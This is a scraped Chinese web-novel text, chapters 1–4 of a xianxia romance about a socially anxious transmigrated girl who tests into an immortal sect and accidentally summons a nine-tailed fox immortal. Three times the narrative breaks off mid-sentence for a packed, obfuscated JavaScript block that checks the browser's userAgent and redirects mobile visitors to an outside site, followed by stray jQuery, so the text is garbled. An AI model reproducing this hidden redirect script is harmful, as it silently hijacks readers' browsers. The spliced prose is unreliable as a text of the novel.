《嫁给毛茸茸后他掉马了》 1. 1 “姓名。” “何、何缨。” 拿笔的沧溟仙宗弟子撇了面前的少女一眼,刷刷写下了何和英三个字。 何缨冷汗直冒,她不是没看见他写错了,而是她社恐。来报名的人太多,把招生办围了个里三层外三层,一群人的眼睛都盯在她身上,她半天也说不出一句话。 何缨想,要是能勇敢起来就好了。 都穿越到这边一年了,何缨还是没能克服自己社恐的毛病。当初在何家睁开眼睛的时候被一大群陌生老爷夫人、少爷小姐围着,把她吓坏了。 何缨没接收到原主的记忆,更没什么演技,只能说自己什么都不记得了,治了小半年,什么也没想起来,何家只能对外宣称小姐失足落水后磕到头,失去了记忆。她在何家战战兢兢装了一年失忆大小姐,已经忍到一个社恐所能承受的极限了。 要不是身处沧溟仙宗的二哥正巧回家,她估摸着,自己哪天就要因为太废物而在半夜网抑云时分挖个坑把自己埋了。 二哥和这具身体的原主关系很好,他见妹妹整日郁郁寡欢,便提出带她去仙门玩一圈,正好宗门招揽新弟子,顺便测个灵根,要是有仙缘,就不必在家里闷着,修仙问道岂不是更好? 何缨想,总没有比现在更差的选项了,试一把不行她再回来吊死……好吧,主要是面对像金毛大狗一样闪闪发光的二哥,她也说不出拒绝的话。 “缨妹,怎么样了?”二哥挤过人群,来到何缨身旁。 “没事,刚排到我。”何缨飞出天外的思绪被二哥拉了回来。 她坐得板板正正,等待登记的人给出下一个指示。 那记名的弟子一看何缨的二哥,傻了眼,这不是烬霄峰的大师兄何谏云么,怎么到这儿来了?难道说,眼前这名少女是他的…… 何谏云看了眼那弟子桌上的纸,指着姓名那一栏纠正:“家妹叫何缨,簪缨的缨,你写错了。” 这下轮到那弟子流汗了,他连忙换了张新纸,一笔一划写下了何缨两个字。末了,讨好地朝何缨露出一个不怎么好看的笑。 “姑娘,请把手放到玉石上。” 何缨哆哆嗦嗦地将手放到了桌上的一大块白玉石表面。 周围的人太多了,她一旦感受那些人的目光,就会忍不住去想自己是不是哪里不对,穿着是不是不够得体。也对,来报名的大多是有名额的仙家子弟,衣着都仙气飘飘的,只有她还穿着她娘给她新买的红牡丹花裙,在一众白衣里愈发土里土气。 最主要的是她还在发抖!人一多她就会自动开始抖抖抖……这完全是生理反应根本没办法克制。 然而,这场景落在众人眼里,则是另一般滋味了。 这姓何的女子,有一个内门的亲哥,她明明可以直接跟着何谏云去烬霄锋挂个名,却反倒坐在这里老老实实测灵根,莫非这姑娘也是个绝世奇才,另有想去的地方? 何谏云是金火双灵根,金丹期剑修,上一场宗门大比越级赢了一个元婴期的师兄,声名鹊起。 这何缨不肯依附自己亲哥,至少也得是个跟他哥一样的双灵根。 看她那微微发抖的身姿,紧皱的眉头,怕不是正在思考用几成灵力才能彰显自己的身份吧! 一时之间,众人看向何缨的目光更炽热了。 何缨:咋回事啊啥玩意啊看我干什么! 何谏云见何缨冷冷地伸出一掌放在灵石上一动不动,思绪不知道又飘到了何处去,不禁笑出了声。家妹不管失忆与否,都还和从前一样,一不留神就钻到自己的小世界里去了。 “缨妹回回神,你要把气沉到丹田,对着玉石发力。玉石感受到你的灵力,才会亮起来,宗门才能知道你的属性。” 走神被发现了,何缨脸红红的。 她按照何谏云的提示,摸了摸自己瘪瘪的肚子。 ……哪有什么丹田啊!发力是要怎么发力啊! 何缨这辈子没想过测个灵根还要她发力。她拧个可乐瓶子都要费半天力气。 时间一分一秒过去,测灵根的玉石无动于衷,围观群众的热情渐消,神色里都带上了几分狐疑。 这么半天没反应,何缨还在等些什么?难道我们都猜错了,其实何缨根本就没有灵根,或者灵根很差,她发抖就是真的在害怕出糗而已? 何缨在自己的肚子上来来回回摸了半天,也不知道丹田究竟在何方,手下的玉石都被她摸出了汗,依旧没有任何反应。 何缨自己都替自己尴尬。 算了,总之就是发力对吧,赶鸭子上架也得拼一把,她豁出去了。 她右手一使劲,拿出了平时蹲坑的力气,手臂上的青筋都突了出来。 给劲啊! 何缨闭眼咬牙用尽全力对着那玉石用力一捏。 只听咔嚓一声。 彻骨的寒意将她的手紧紧包裹。 …… 今天是招收新一季弟子的日子。宁栖提着酒葫芦,眼皮一跳一跳的,总感觉今天有什么事要发生。要知道,他在沧溟仙宗做这掌事的位置也有个几十年了,什么他没见过? 宁栖走到仙宗门口,一眼看着了招生办夺棚而出的巨大寒冰块。 ……这他还真没见过。 那可是元婴期器修锻造的青玉堂啊!看着平平无奇,实际上无坚不摧的好吗! …… 何缨睁开眼睛,愣住了。 她的手和玉石一起被冻成了冰,而这冰的块头,好像大了点。 大到把棚子都撑碎了。 登记的弟子早在寒冰自何缨手心窜出的时候就跑远了。 围观群众也都为之绝倒。 何缨:“……” 完了,全完了,这死手怎么这么大劲啊!虽然这棚子看着破破烂烂的,但是弄坏了公共设施也要赔钱啊! 没准不禁要赔钱,她还会被当做闹事的人赶出仙宗,更严重的情况没准会把她当成魔族派来的奸细,抓起来严刑拷打啊! 据她看过的大部分小说来讲,修真界想要折磨一个人,那手段可真是无穷无尽。 短短三秒钟,何缨已经把她自己的几千种死法都想完了。 何缨倒是想跑,可是自己的手和冰被冻在一起了,根本挣不脱。 她这才想起亲哥还在旁边,连忙用祈求的目光看向何谏云。 何谏云两眼放光,像一只看见了鸡腿直流口水的大金毛。 他激动地握着何缨的肩膀,“缨妹!你这是!你这是!” 何缨:“喜脉?” 何谏云流下了两行感动的泪水,“什么喜脉!你这是变异冰灵根!千百年才有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785723|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个的好苗子!” 他话音刚落,围观的众人也反应过来了。 变异冰灵根,他们果然没看错!何缨竟然比她哥的资质还要逆天! 一时之间,人群议论纷纷,有羡慕的,也有嫉妒的。有这种资质,哪怕是进了沧溟这种第一仙宗,资源也是随便挑。 何缨并不认可,冰灵根有什么稀奇的,在小说里跟大白菜一样一抓一大把好吧,而且大概率是被主角一剑捅死的炮灰。 宁栖适时地顺着缝挤了进来。 “哟,这不是谏云师兄嘛。这位是?”怎么何谏云也在这,宁栖看向何谏云身后的女子,女子面若冰霜,冷冷地坐在玉凳上,一只手还贴在玉石上。 宁栖忙道:“够了够了!不用再测了!” 何谏云火属性灵力一烘,在何缨手边融化了个洞。 何缨连忙把手收了回来。 “宁掌事客气了,这是家妹何缨,我要回烬霄锋面见师尊,家妹就托付给你了。“何谏云掏出一袋上品灵石交给宁栖。 宁栖连忙推拒,今天测出了一名变异冰灵根的弟子他的份例就能翻一翻了,还能在今后的天才少女面前刷刷好感,这全是好处没有坏处,就是倒贴灵石这活他也要干。 何谏云当然看得出宁栖在想什么,他也不再客气,转身把灵石给了何缨,又将几块玉牌塞给何缨。 “缨妹,这位是宁掌事,你跟着他就好。等你通过完入门考核,二哥再来找你。有什么事,捏碎玉牌,我就知道你有事找我了。“ 何缨捧着灵石和玉牌,玉牌上写着二哥的名字。她还没来得及说谢谢,就看见自家神经大条的二哥就这么风风火火御剑飞走了。 他那柄飞剑的剑尾还冒着火光,像一只窜天猴似的朝远处飞去,一众围观的粉丝发出了惊天的呼喊声。 何缨:“……” 她一转头,正对上宁栖一张堆满了笑的脸。 ……要不要笑得像奸商一样啊! 何缨瑟瑟发抖,感觉被亲哥卖给了人贩子。眼下别无选择,她只得跟着宁栖站起身来,朝沧溟仙宗走去。 而宁栖在她耳边喋喋不休了些什么,她一概没听清。 拾阶而上,高耸入云的仙门一点一点出现在视野里。左侧雕着蟠龙,右侧刻着金凤。仙气缭绕,就连空气都变得清爽了起来,何缨深呼一口气,连自己都不曾察觉的郁结之气轻轻地散了。 听说修仙之人大多都孑然一身,十分孤僻,为了求仙问道数十年不与人交谈。如今她被测出了灵根,先不管以后能修练成什么样,至少她可以喘一口气,不必再去应付那令她惶恐不已的人际关系了。 何家虽不修仙,但也是个大家族,这一年来七大姑八大姨上门,都一定要来慰问她一番,她每天都惊心胆颤的应付着众人,生怕谁发现她穿越的秘密,每天三缄其口,为了装病连饭也很少吃。 但现在,只要进入沧溟仙宗,除了何谏云,再没有人认识她了。 比起在一个谁都认识她的环境里装疯卖傻,还是全新的陌生环境更能令何缨安心。 这么想着,她的步伐也轻巧了些。身体里有一股冰冰凉凉的力量,源源不断地涌了出来。 何缨身边,说得口干舌燥的宁栖转头一看。 不是,你怎么就引气入体到练气二阶了? 2. 2 一进入仙宗,浓郁的灵气扑面而来,何缨感觉自己的视线都变得清晰了不少,她回头一看宁栖,一行小字在宁栖胸前浮了出来。 修真界这么赛博的吗,连名牌都是电子款? 她仔细瞧了瞧上面写的字。 【龙套003渡劫失败被雷劈死】 何缨:??? 何缨揉了揉眼睛,向周围看去,但凡是离她很近的、能看清正脸的仙宗弟子,身上都浮现起了一个个的名牌。 大部分弟子的名牌前缀都是龙套,从零到上千都有,结局不是渡劫失败就是被妖魔杀死,没一个寿终正寝的。 时至今时,何缨忽然回过味来,这穿越好像不是普通的穿越,她并不是来到了异世界,而是穿进了一本书。 也就是说,这是一本仙侠文,何缨在凡界待了一年什么事都没发生,而一进入仙宗触及到故事主线,她的金手指就自动触发了。 金手指就是能看到附近的人在书中的身份以及结局。 听起来……蛮酷的,好像什么先知。 如果何缨是个善良的小白莲花,估计已经将这一切背负在身上,想方设法替别人篡改命运了。 可惜何缨是个社恐,还是个内耗的社恐,这技能对她来说就有些鸡肋。自己本身活着就很累了,哪有能力拯救别人呢。何缨叹了口气,比起拯救众生这样伟大的抱负,她还是利用这个能力好好避开主线吧。毕竟这一众炮灰龙套,结局没有一个好的。 最好先找到男女主在哪。 又一次神游天外的何缨跟着宁栖来到了宽阔的正堂。 正堂里站满了人,都是这次测出三灵根及以上的弟子。沧溟仙宗不收四灵根和五灵根,毕竟这两种资质和普通凡人也没什么区别。何缨发现,除了她以外,其他的入门弟子都是还没成年的小娃娃,最大的可能也才只有十五六岁。 也对,谁家修仙不都是从娃娃抓起,像她这样半路修仙的又有几个?起跑线就输了。 宁栖把她送到,说了几句场面话,就又去宗门外了。掌事能把何缨单独送进来已经是天大的殊荣,而在其他人子眼里,何缨必定是一个资质绝佳的奇才,一时之间众人的目光又一次落在了何缨身上。 何缨站在一众小豆丁里,僵硬得像根电线杆。 小豆丁们还在朝她行注目礼,何缨感觉自己从电线杆进化成了升旗杆。 小孩子的压迫力没那么大,何缨努力不让自己逃避,她一一端详过去,还真找到了女主。虽然年纪不大,但能从她那清秀的眉眼间瞥见一丝侠骨柔情。其他孩子看向何缨的目光都是审视的,只有女主一脸担忧,将手帕递给了何缨。 她梳着双螺髻穿着白色的纱裙,脸蛋圆润尚未脱去婴儿肥,一双大大的眼睛晶莹剔透,整个人看起来十分娇小可爱。 “姐姐,你没事吧?“ 何缨莫名其妙的胸口发热,以防自己被女主光环闪瞎,何缨光速倒退三尺。毕竟站在女主身边的不是炮灰就是反派,要么就是替死的女二女三,她还是离得远远的为上策。 她看向女主的身份牌,上面的内容十分简单。 【女主???】 不是,问号是几个意思啊? 何缨望眼欲穿,那名牌也没有发生任何改变。 卡了?网不好?请您稍候再拨? 就在何缨犹豫之时,几位仙气飘飘的长老走了进来。他们宣读了一些入门测试的事项,引领众人去了广场。何缨跟着队伍向前,错过了身后那位“书中女主”探究的目光。 原来入门测试除了字面意思上的测试,还有分类筛选。 仙宗内有剑、法、药、器、符、武六个门类,这场测试就是用来帮助刚入门的弟子确认自己适合的方向。 何缨懂了,这不就是大学生涯职业规划嘛。 跟着娃娃们一起走到广场上,何缨看到了场地中央围成一圈的六张八仙桌,每一张桌前都有一名弟子负责,桌上则摆着各种用具。 发着七彩光辉的大宝剑、林良满目的器材、仙气飘飘的丹药瓶……呃,还有一个满身肌肉的大汉。 每张桌子都对应着一场测试,长老们的意思是让他们选自己最适合的,站好队一一测试过去。通过了,便可以得到内门弟子的令牌。通不过也没关系,先去外门慢慢修习。 何缨来修仙都是临时起意,根本没想过自己要做什么。变异冰灵根,听起来不管是当剑修还是当法修,应该都能大展身手吧……何缨这么想着,跟着逐渐分散成六股的人群向前走去。 然而事实十分打脸。等何缨反应过来的时候,她已经走到放着黄纸和朱笔的桌子边,抓着符箓不撒手了。 实不相瞒,穿越之前,何缨是个线上接单的小画手。父母早逝,没人管她,所以她就找了个能满足社恐人士基本需求的工作——给一些互动游戏公司做立绘。 长期以往,她对好看的画作十分敏感,因此在各色器具之间,她一眼就看到了摆在桌子上的符箓。 那很难称得上是一张符,正常来讲,普通的符都是上下结构长长的一条。 而被何缨攥在手里的符则完全不同。 这张符方方正正,上面画着一只赤红色的九尾狐。 狐狸画的栩栩如生,笔法连贯有力,周围还画着一圈符咒,足见制符者修为的深厚。 也不知道是出自哪位大神之手。 正在何缨沉浸在自己的欣赏之中时,一直在桌子后面默不作声的人敲了敲桌子。 “这位师妹,你想要修习符箓一道么?” 何缨抬头,她面前是一个笑眯眯的师兄。 【龙套7421寿终正寝】 “那什么,你看,”师兄抬起两臂,示意何缨看向周围。 其他人不像何缨这般神游,早在来这之前,就已经选好了自己要修习的物品,此刻都已经各自开始了测试。 “其他人都已经开始测试了,师妹你先画个基础五行符试试?” 何缨愣了一下,手里已被师兄塞上了纸和笔。 那么问题来了。何缨从来没画过符,更不知道这个世界的符都长什么样。 何缨僵在了原地,她很想问问师兄,他说的五行符长什么样。 师兄满脸写着“符箓可是很高深的画不出来不要勉强哦”。 何缨在师兄的死亡凝视之下社恐大作,只好试图求助同样选择了修符的人。 然而天不遂人愿,尤其不遂社恐的愿。何缨转过头,一阵凄凉的风吹过,身后一个人都没有。 ……也是选到冷门专业了。 符箓一门,说冷门,其实也不那么冷门。就像大学里也有双学位之类的选择,而符箓之道,往往更会被人们选择为第二学位。 原因一,符 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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何缨又一次为它停驻了目光。 就在这时,她忽然想起,她是没见过五行符长什么样,可这里不是有一张现成的吗!她将小狐狸拿在手中,轻轻抚摸。说不定这就是五行符中的一种? 仿照这张符画一张一模一样的,对于一个老画手来说并不难。 要不,试试? 测试接近尾声,大部分人都已经完成了自己的测试。 长老们看向诸位弟子,也是颇为满意,这一期有好几个不错的苗子。剑修、法修都有所发展,药修和器修也不遑多让。武修来了个世代习武的金灵根练家子,更是无法无天。 他们一转头,看到了符修那唯一的一名女弟子。 宁栖不是告诉他们,来了个变异冰灵根的女弟子,莫非是她?这么好的资质,怎么不去学法习剑? 考完试的弟子们也将目光落在了何缨身上。 没过一会,何缨动了。她拿起朱笔,一阵清风拂面,天地灵力全都向她的笔尖涌去。 这画符和画画,还真不太一样。何缨感觉自己全身都滞涩了起来,她咬紧牙关,将全部的精力都放在了画符之上。 长老们定睛一看,不免震惊了起来。 她竟然想要效仿绯明仙尊的那张仙符。 3. 3 何缨没再多想。唯独和画相关的事能让她不遗余力全神贯注。 一时之间狂风大作,围观的同门和新晋弟子都向后退去。 何缨的周身萦绕起了一层霜,将周围的灵气吸入笔尖。 先画耳朵、脸、眼睛。何缨右臂发颤,她忘记了自己身处何地,也忘了自己早已经不是那个以画为生的小画家。她在这灵力的漩涡中心用尽全力下笔。 小狐狸的雏形有了。接着是周围的符文。 那朱笔仿佛有千斤重,但是何缨已经顾不得一切,她的心中只有一件事,那就是一定要画出这张符。 如果连这都做不到的话,那她的人生还有什么意义? 不知过去了多久,肆虐的灵力几乎将她整个人包裹,最后一笔落成,一道不易察觉的灵力自何缨胸口钻出,悄悄融进了符箓。何缨松了一口气,擦掉了额上的汗。 手中的符一闪,围绕在她身边的灵力便争先恐后地钻入了符中。 围观的人群也都安静了下来,看不懂的人被那暴涨的灵气所震慑,看得懂的人倒抽一口凉气。 何缨模仿的是张什么符?请仙符! 请仙符是所有符箓中层次最高的一种符箓,隶属仙符,是仙君以上才能画出来的符。便是苍冥仙宗这样的第一宗门,千百年来也只得了这么一张。 而现在,一个只有练气期二层的新人,竟然能画出请仙符?这样的事简直滑天下之大稽,任谁听了都不会相信。 何缨越看手中的小狐狸越满意,她并未原封不动地画完那张符,而是还给小狐狸的颈间画了个大大的蝴蝶结。 “……这位师妹,忘了告诉你,画完符,还要检查一下符箓能否使用,劳烦你现在就用一下,能正常使用的话就算通过。”笑眯眯的师兄睁开了眼睛,提示何缨。 其实正常测试的话是不用的。毕竟一张基础五行符而已,看一眼就知道能不能用。但是何缨画的这张过于逆天,必须慎之又慎。 区区一个练气期,竟然妄想画成一张仙符?在场有一个算一个懂行的,没有人相信何缨。 不会可以学,但是骗人就不好了。 何缨点了点头,将符拿在手中,然后又一次尬住。 呃,这符该怎么用?撕了?烧了?贴脑门上? 何缨在心里急成了滚轮上的仓鼠,脑子里千回百转,旁人却只见何缨面若冰霜,站在原地纹丝不动。她眉头微蹙,似有不满。 长老们稍加思索,莫非她这符真画成了? 请仙符,顾名思义,是为请仙人降临此地排忧解难。只不过这符太过稀有,除了每年招新拿出来给新人显摆显摆,根本没人敢用。 这赤狐请仙符,请的便是仙界第一人,绯明仙尊。仙尊原身是九尾天狐,上古时期魔族还存在之时,便是绯明仙尊一己之力诛杀了百万魔族,狐火在仙魔分界之处烧了整整七天七夜,将入侵的魔族全部烧成了灰烬。据说天帝也要敬他三分。 不过自从仙尊去了仙境,人界相安无事,他便再没有动过杀念,将自己的仙力化进了祈福之中,虽然也有每个月必须杀足百人的传闻,但他没被仙界通缉,大抵是空穴来风。 所以话说回来,这种请仙符,真的是何缨一个练气期能画成的吗? 师兄见何缨为难,便将八仙桌收进了乾坤袋。反正符箓这儿也就何缨一个人。 他将何缨请进了广场的正中央。 那里有一个画满符文的巨大石台,原本也是宗门每年祭祀祈福用的。 何缨在众目睽睽之下,颤颤巍巍地上了石台。现在才是真的赶狐狸上架,不用也得用。 用不出来的话就会成为符修界的罪人…… 用不出来的话就会被当成搅乱秩序的魔族拖出去打死…… 用不出来的话就会被发现穿越的秘密抓起来做人体实验…… 何缨大脑彻底cpu,她把手中的符往天上一扔,右脚一跺,两指并拢朝天一指。 ……独孤求败西门吹雪暗黑骑士魔法少女魔童降世显灵啊!! 符在空中慢慢悠悠地飘了两圈,然后无事发生似的飞回了她的脚边,黏在地上,不动了。 何缨:…… 在异世界请神是不是有什么问题,你是否清醒。 这下丢人丢到家了。 围观群众发出了一阵嘘声。 目睹了全程的师兄摇了摇头。 明明只要把符撕开就可以了,何缨却没有这么做。看来是很清楚这张符不能用了。 他朝何缨招了招手,请何缨下台。 何缨垂头丧气,她往后退了一步,脚下却是一滑,险些摔倒。 一层冰自她右脚处延展开来。何缨红色的裙摆翻飞,石台上的纹路也隐隐发亮。她竟然是引动了石台中凝集的天地灵气。 充盈的冰力将符箓托起,数道冰柱自何缨身侧长出,凝结成数条蛟龙,将又一次飘到高空中的符箓彻底洞穿。 呃,请神确实成功了,只不过来的是冰雪女王。也对,都冰灵根了,请也得请同源啊。 符箓中的灵力顿时炸开,随着冰霜一起归于天际。 万众瞩目之下,一只赤色九尾天狐破云而来。他有一栋楼那么庞大,周身火蛇环伺,九条赤红狐尾威风凛凛,步履矫捷落于石台正中央,荡起一阵仙尘。他低低嘶吼了一声,一双赤红色的眸子同何缨对视。 哗啦啦,围观的一圈人全跪了。 何缨呆若木鸡,她看着眼前巨大的毛茸茸,留下了感动的口水。 原来这是张召唤符!可以召唤出漂亮的九尾狐! 道理我都懂,但是狐狸为什么这么大! 被当作召唤兽的九尾狐睨了一眼何缨,有些不满。 他骄矜地甩了甩头,在感受到不一样的紧绷之后,瞬间僵硬。 一条火红色的大蝴蝶结正系在他的颈间。 何缨看着狐狐脖子上的大红蝴蝶结,不免感叹,修了仙就是不一样,这蝴蝶结简直是百分百完美复刻。 这么想着,何缨露出一个傻兮兮的笑容,狐狐太大了,想要捏嘴比较困难,于是她手法娴熟地挠了挠狐狐的下巴。 大狐狸被这突如其来的抚摸吓了一跳,但依旧遵从了生理本能,发出了一阵呼噜声。 何缨没养过宠物,但是很喜欢去猫咖,她揉猫咪的下巴时,猫咪也会发出这种声音。 比起和人打交道,何缨还是更擅长和小动物相处,虽然面前这只狐狐显然已经超出了小的概念。 但是再大只也是毛茸茸啊!还是她召唤出来的毛茸茸! 要不是周围还围着一圈人,何缨肯定会幸福地扑进毛毛中把自己溺死。 九尾天狐恼羞成怒,朝何缨呲牙。他用尾巴把何缨扫开,一声长啸。 他的九条尾巴犹如孔雀一般伸展开来,七彩霞光朝四周散去,登时仙宗里的灵力又丰厚了一倍。 末了,他甩了甩头,见蝴蝶结纹丝不动,只得恼羞成怒扬长而去。 围观群众目瞪口呆,他们就看着何缨对着绯明尊上又是呼噜毛又是挠下巴,不仅没被一巴掌拍死,还给仙宗求来了赐福。 何缨看着到嘴的狐狸飞了,含泪擦干了口水。 这不是召唤符吗?怎么来了又跑了? “……恭喜师妹通过测试。鉴于师妹超额完成了测试,还请来了绯明仙尊降下福泽,师妹可以在几位长老中任选一位拜入门下。” 何缨僵硬地扭过头来,“师、师兄,你说的绯明仙尊,是谁啊?” 师兄笑眯眯地看回去,“师妹不是刚刚还替尊上梳理了下颌的毛发,这会就忘了?” 何缨:“啊哈哈哈原来他就是绯明仙尊啊。” 师兄:“啊哈哈哈师妹真是贵人多忘事啊。” 何缨嘎一下晕过去了。 同一时间,仙界。 一身暗红色长袍的男子阴沉着脸回到了赤璃境。他的脖子上,一个皱皱巴巴的红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785725|174882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色蝴蝶结分外显眼。 仙境门口,一只五彩斑斓的大鸟在树上打瞌睡。它一听到脚步声,立刻睁开了眼睛。 “绯明你情劫度完了吗就到处乱跑……嘎嘎嘎嘎,嘎嘎嘎嘎嘎!你脖子上那是什么东西!嘎嘎嘎嘎嘎!” 被换做绯明的男子一把将还在嘎嘎大笑的鸟从树上薅了下来。 大鸟吱哇乱叫,绯明恶狠狠解开脖子上的蝴蝶结,把它捆成了一团。 “绯明你不讲道理!你欺负鸟啊!” “再吵就把你的嘴也绑上。” 绯明把大鸟倒提在手里,往大殿走去。 仙境中的的陈设十分简单,除了几颗火红的树,基本没什么多余的装饰。 空荡荡的大殿中央,置有一只水镜。 绯明把那鸟往旁边一扔,长袖一挥,那水镜就倒映出了下界的景像。 大鸟被警告了也不怕,依旧抻长了脖子唠唠叨叨。 “几百年了没人请得动你,今天也不知道是哪股风把你吹下了界。” 绯明冷哼一声。 他伸手一扯,蝴蝶结就轻巧地拆开,变成了一条柔顺的红缎。 大鸟晕头转向地从地上站了起来,终于看出了那红绸的与众不同,它凑了上去用喙触了触红绸的末端。 “咦?这是……人类的魂魄?” “有个小傻子把自己的精魄抽出来,放到请仙符里了。”绯明嗤笑一声。 “所以你就是因为这个去的人界?” “不止。”绯明将红绸重新幻化成蝴蝶结。他撩起袖子,一条红线清浅地系于他那白皙的手腕上。红线不断延伸,最后和那只蝴蝶结紧密地交缠在了一起。 他垂眸继续看向水镜。 水镜里的情形不断变换,最后锁定在了拥有变异冰灵根资质的红衣少女身上。 何缨虽然在心里嘎一下抽过去了,但是她表面上还是勉强维持住了冷静。 当然也只是勉强。 #一不小心调戏了仙尊会不会被鲨头啊# #你这仙尊长得还挺别致# 何缨很急,非常急,但是她并不能等。 其他人的名单都已经拟好,只剩下还没做出选择的何缨。 师兄在她面前念了一炷香的世间,终于把苍冥仙宗的这十几位长老介绍了个遍。 “师妹不用紧张,你有这样的资质,长老们都很看重你。无论是拜在谁的门下,都不会委屈了你。” 这是委不委屈的事吗! 何缨瑟瑟发抖看着面前一众眼睛冒绿光的长老,感觉自己就是一只掉进狼窝里的羊。 她哪知道那是张请仙符啊!你都已经是一张成熟的请仙符了,就不要随便被人模仿出来啊! “师妹要是心有所属,就去那位长老面前磕三个头,长老回了礼,赠了玉牌,就算礼成。” 这也太人性化了,还要学生自己选辅导员。何缨从小到大都在随波逐流,点个外卖都要翻一个多小时,现在你要我在十来个人里选一个当师父,臣妾选不出啊! 何缨小心翼翼地抬眼扫过去,偷偷看向长老们胸前的名牌。 得,不是渡劫失败的就是走火入魔的,还有一个灰飞烟灭的! 可是现在不选还不行,不选的话一定会被长老当作心高气傲,之后的修行之路一定会被下绊子。选了更是为难,这一个个死去活来的,感觉选哪个都会摊上大事;犹豫更是不行中的不行,身后一群莫得选择的同届们盯着呢,诶哟给你牛的,选个师父你还挑上了! “师妹?师妹?”见何缨没反应,师兄伸手在何缨眼前晃了晃。 何缨那高速运转的大脑又一次烧了。 不就是让她选吗!选! 不就是让她拜师吗!拜! 不就是让她磕头吗!磕! 何缨啪唧一声就跪下了。 “……师妹,你这是何意?” 坏了,光想着跪下了,跪错人了! 4. 4 何缨抬头看向面前依旧笑眯眯的师兄,尴尬的有一千只乌鸦从她面前飞过。 就在此时,一个大嗓门的长老高声叫喊了起来。 “掌门三思啊!掌门万万不可啊!” “此女天资卓绝,秀外慧中,要是拜入掌门门下,岂非暴殄天物?” 此言一出,其他长老也纷纷附和。 “天天什么活都不干的,就别来抢我们这些老东西业绩了!” “就是就是,你个臭修法的,你懂个屁的符箓!” 何缨满脸迷茫,化身奶牛猫并发出了大大的一声哈? 面前的“师兄“笑眯眯地回过看头去,”放屁。我不懂符箓?一群天天去万宝阁批发符箓的就懂了?” 众长老:“……“ “师兄”略显遗憾地摇摇头,“本来今年没打算抓徒弟,既然师妹你看破了我的身份,那我就勉为其难收下你吧。” 何缨奶牛猫二连:哈??? 何缨难以置信,“你不是修符的前辈师兄吗?” “师兄”终于正色了起来,他清了清嗓子。“咳咳,介绍一下我自己,我就是苍冥仙宗如今的掌门人,我姓云,单名一个淮字。如何啊,师妹,你若是拜我为师,这宗门里的住所随便你挑,灵石随便你用,藏书阁随便你翻,课随便你……这个随不得,少上课老师要扣分的。” 何缨欲哭无泪,“云云云掌门就别再喊我师妹了......” 云淮恢复了笑眯眯的模样,“这不是,喊师妹显得年轻嘛。” 何缨:“……”就是这人一直师妹师妹的喊,才把她也带沟里去了! 云淮也不继续啰嗦,说收就收,他解下刚刚用来装八仙桌的乾坤袋,交到何缨手中。 “这袋里一应俱全,身份牌你自己回去刻。”说完,他大笔一挥,在名单最下面把自己的名字补上,低头看还在地上跪着石化成雕像的何缨。“师妹叫什么?” 何缨:“……何缨,簪缨的缨。” 哈哈不知道为什么一遇到不靠谱的人就自动冷静下来了耶! 云淮刷刷地写下何缨的名字,朝众弟子大手一挥,“考核结束,内门弟子各回各山各找各师,宁栖带着外门弟子去把住处定下来,下周正式开始上课,今天就到这儿。” 说完,云淮一把拉起何缨,“好师妹,这个令牌给你,我还有事,就不陪你看房子了,你看上哪处,就拿令牌把放在驻所前的石碑上,哪怕那地方有人住,也得退出来给你让位!“ 何缨慌里慌张地接过令牌,青玉底,朱红色的字,上书:掌门令。 掌门令是能这么轻易就给别人的吗?! 何缨像是拿了一块烫手山芋,拿着也不是,退回也不是,只能双手捧着令牌,呆呆地望着云淮飘走了。 各位长老吹胡子瞪眼睛,但又拿云淮没什么办法,只得长袖一甩,将自己的弟子们装进了袖子里带走。 广场上的人越来越少,直到新晋的弟子都走了,围观的弟子便偷偷看着何缨说悄悄话。有师兄向何缨示好,也有掌事热情地要带何缨观光。 何缨:婉拒了哈。 目送众人离开,何缨松了一口气。她有点高兴,却也有点感伤。 高兴的是掌门不怎么收弟子,这样她以后定能省去许多和同门的不必要寒暄;感伤的是虽然离开了21世纪,可这个沧溟仙宗却有点像她的大学。 而何缨的大学时光,也是这样一个人度过的。 倒也不是说室友之间不够和睦,而是何缨很清楚大家只是不想给彼此填多余的麻烦而已。 和睦但不亲近,这句话几乎可以概括何缨整个二十年人生的人际交往。 其实何缨也清楚,这其中有一大部分原因是因为她自己太内向了。比起去猜测一个内向的人喜欢什么,倒不如少问少讲,以免惹得她不快。 点到为止才是这个时代最好的交往方式,奢求别人的理解太不现实。 可是在某些难熬的独处时刻,何缨也会忍不住去想,要是自己能找到一个可以交心的朋友就好了。 不必时时刻刻都捆在一起,只要能在某个固定的时间点,安安静静地坐在一起畅谈爱好和理想,不必担忧谁会批判谁,也不必担心谁会质疑谁。聊完了,再继续面对各自的人生。 可惜的是,因为社恐,她没能交到哪怕一个朋友,更别提和谁交心了。如今看着众人远去,同样的情景重现在眼前,何缨有点无奈,也许重生十次,穿越百次,她依旧孑然一身。 算了,再想下去,又要站在原地焦虑个没完了。 不能在第一天就失去了斗志,她现在已经是掌门座下的弟子,不管怎么说,也要配得上这个身份才行。 